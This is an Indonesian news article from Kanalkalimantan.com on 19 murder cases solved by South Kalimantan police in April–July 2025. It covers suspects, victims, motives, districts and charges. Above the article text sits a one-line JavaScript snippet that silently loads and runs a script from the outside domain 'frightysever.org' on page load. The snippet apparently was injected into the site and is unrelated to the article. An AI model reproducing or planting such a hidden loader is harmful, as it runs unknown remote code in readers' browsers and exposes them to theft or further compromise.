(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah Kalimantan Selatan mengungkap kasus-kasus pembunuhan yang diklaim mendominasi terjadi di Kalsel pada rentang April hingga Juli 2025.
Direktur Reskrimum Polda Kalsel, Kombes Pol Frido Situmorang menyebutkan ada 19 kasus yang berhasil diungkap Polres jajaran di lingkup Polda Kalsel.
“Periode April sampai bulan Juli didominasi kasus-kasus pembunuhan. Dimana dari 19 kasus, didapati ada 25 tersangka laki-laki dan satu tersangka perempuan,” ujar Direktur Reskrimum Polda Kalsel, Kombes Pol Frido Situmorang di hadapan awak media, Jumat (25/7/2025).
Baca juga: Harga Ayam Potong Turun Naik di Pasar Bauntung Banjarbaru
Kasus-kasus pembunuhan ini pun menjadi topik yang mengguncang perhatian masyarakat. Sebab motif-motif yang ditemukan dari peristiwa ini bervariasi mulai dari karena mabuk, cemburu, dendam hingga cekcok.
“Para tersangka dalam waktu dekat akan kita bawa ke JPU (Jaksa Penuntut Umum) ,” sambungnya.
Adapun kasus-kasus pembunuhan ini meliputi 4 Tempat Kejadian Perkara (TKP) di wilayah hukum Polres Kota Banjarmasin, Polres Banjar 3 kasus, Polres Batola 2 kasus, Polres Tapin 1 kasus, Polres Hulu Sungai Selatan (HSS) 1 kasus, Polres Balangan 1 kasus, Polres Tabalong 4 kasus, Polres Tanah Laut 1 kasus, dan Polres Tanah Bumbu 2 kasus.
Kombes Pol Frido mengatakan, untuk TKP di Banjarmasin korban meninggal dunia berjumlah 3 orang masih duduk di bangku sekolah menengah atas.
Baca juga: HM Hilman Dilantik Menjadi Staf Ahli Bupati Banjar
“Polres Banjarmasin korbannya ada 3 orang, masih anak-anak SMA. Itu terjadi karena mabuk, dimana mereka berteman ada ketersinggungan lalu terjadi pembunuhan,” jelas Kombes Frido.
Kemudian di HSS terjadi peristiwa pembunuhan berupa pemenggalan kepala seorang korban dan tersangka yang saat ini masih menjadi Daftar Pencarian Orang (DPO) oleh polisi.
“Untuk di HSS tersangka masih kita upayakan pencarian, karena tersangka sedang berpindah-pindah di hutan, tersangka bapak sama anak,” sebutnya.
“Kemudian kejadian di Kabupaten Banjar yang di Paramasan menjadi atensi kita juga, dan di Tanah Bumbu untuk tersangka masih dikejar,” tambahnya.
Baca juga: Putar Musik Lagu di Restoran, Direktur Mie Gacoan Bali Tersangka Kasus Hak Cipta
Total korban yang meninggal dunia dari 19 kasus tersebut berjumlah sebanyak 26 orang. Barang bukti yang berhasil diamankan dari tersangka berupa senjata tajam (sajam) 22 bilah, 1 handphone, roda dua 3 unit, Kartu Tanda Penduduk (KTP) 1 lembar, dan 64 barang lain-lainnya.
“Dari seluruh pelaku tidak ada yang residivis, semua karena spontanitas,” tandas Kombes Pol Frido.
Salah satu tersangka pembunuhan di Kecamatan Paramasan, Kabupatan Banjar, F mengakui perbuatannya menghabisi nyawa orang lain.
“Ulun khilaf, karena membela anak, anak di lempar ke banyu,” ungkap pelaku F.
Akibat perbuatan menghilangkan nyawa orang lain itu, puluhan tersangka dikenakan pasal penganiayaan dan pembunuhan seperti pasal 80 KUHP, pasal 340 KUHP subsider pasal 338 KUHP dan subsider pasal 351 ayat (3) KUHP. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
This website uses cookies.